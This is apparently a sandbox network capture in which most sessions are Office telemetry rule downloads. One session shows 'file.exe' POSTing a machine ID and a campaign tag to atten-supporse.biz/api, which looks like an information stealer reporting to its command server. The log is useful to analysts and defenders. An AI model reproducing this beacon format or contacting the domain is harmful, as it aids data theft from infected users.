2024-12-01 02:32:25 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49706	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:24 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:25 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 748acc8f-d01e-0082-56a3-42e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023225Z-174f7845968px8v7hC1EWR08ng00000012ng000000002vdb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:25 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49711	172.67.165.166	443	7408	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:25 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XQ2K3JW7BO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12802 Host: atten-supporse.biz
2024-12-01 02:32:25 UTC	12802	OUT	Data Raw: 2d 2d 58 51 32 4b 33 4a 57 37 42 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 36 43 42 44 44 36 36 36 44 41 43 41 37 30 34 41 36 42 30 31 35 45 39 35 34 35 36 36 31 30 0d 0a 2d 2d 58 51 32 4b 33 4a 57 37 42 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 58 51 32 4b 33 4a 57 37 42 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 58 51 32 4b 33 4a 57 37 42 4f 0d 0a 43 6f Data Ascii: --XQ2K3JW7BOContent-Disposition: form-data; name="hwid"876CBDD666DACA704A6B015E95456610--XQ2K3JW7BOContent-Disposition: form-data; name="pid"2--XQ2K3JW7BOContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--XQ2K3JW7BOCo
2024-12-01 02:32:28 UTC	1019	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pmut7qmr12r52vab8odnajenum; expires=Wed, 26-Mar-2025 20:19:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tYBZ7aYvvqv%2F1o86IIZBcFbMYtOIvfX3zi4kimMdqn1gc3k2LZw74LJ7xILYRPL86r36lOnCNMtzjg%2BVxr39YDdVlO86ZqDujyRxuyKBqnvs0SK5CveQl4fz4Ngm%2B6Q2rIutUv0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eafaaa82c024267-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1782&min_rtt=1781&rtt_var=671&sent=9&recv=16&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13736&delivery_rate=1627647&cwnd=232&unsent_bytes=0&cid=c6921589bd66d90c&ts=2704&x=0"
2024-12-01 02:32:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-01 02:32:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49712	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:26 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:27 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 25544c2c-a01e-00ab-8007-419106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023227Z-174f7845968zgtf6hC1EWRqd8s0000000vb0000000002ksw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:27 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:26 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023227Z-174f78459685726chC1EWRsnbg000000129g00000000ezph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49714	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:27 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:27 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 724e5c80-801e-007b-4caf-42e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023227Z-174f78459684db9fhC1EWRc7g400000002bg000000006f43 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:27 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:27 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 999c3d90-401e-00a3-7f00-428b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023227Z-174f7845968qj8jrhC1EWRh41s000000129g000000005fhb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:27 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:28 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:28 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023228Z-174f7845968vqt9xhC1EWRgten00000012e0000000002tqb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:29 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:29 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:29 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 5e64b7e0-d01e-0049-7eb8-42e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023229Z-174f7845968xlwnmhC1EWR0sv8000000122000000000f6qv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:29 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:29 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:29 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023229Z-174f78459685m244hC1EWRgp2c000000122g00000000e14z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:29 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:29 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:29 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 6eac52fb-a01e-006f-2191-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023229Z-174f7845968qj8jrhC1EWRh41s000000124g00000000k105 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:29 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:29 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:29 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023229Z-174f7845968xr5c2hC1EWRd0hn0000000m70000000004bqu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:29 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 